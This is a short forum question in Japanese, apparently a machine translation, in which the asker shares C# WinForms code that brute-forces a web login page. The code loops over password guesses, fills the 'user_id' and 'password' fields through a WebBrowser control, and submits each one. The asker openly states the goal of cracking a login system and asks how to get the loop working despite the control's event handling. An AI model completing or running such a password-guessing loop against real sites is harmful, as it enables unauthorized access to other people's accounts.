ログインシステムを解読するために、C# でブルートフォース攻撃を一時 Web ページに実装するコードを作成しようとしています。このようなもの:
private void buttonHack_Click(object sender, EventArgs e)
{
while (!found)
{
textBox_pw.Text = guess;
guesser.NextGuess();
webBrowser1.Document.GetElementById("user_id").SetAttribute("value", textBox_ID.Text);
webBrowser1.Document.GetElementById("password").SetAttribute("value", textBox_pw.Text);
webBrowser1.Navigate("javascript:enter();");
guess = new String(guesser.CurrentGuess);
}
}
// 'guess' と 'guesser' は BF アタック用です。
しかし、どうやら WebBrowser は、内部で呼び出されたメソッドが返されるまで「起動」しません。while ループ内の部分を Webbrowser_DocumentCompleted イベントに入れようとしたので、文字通りループします (ページの読み込みが完了すると、同じことを何度も繰り返します...)。しかし、この方法には次のような問題がありました。ページドキュメントはすぐに完成し、残りのコードをスキップして DocumentCompleted メソッドの先頭に移動し、結果として奇妙になります!!! それで、それを修正する方法はありますか?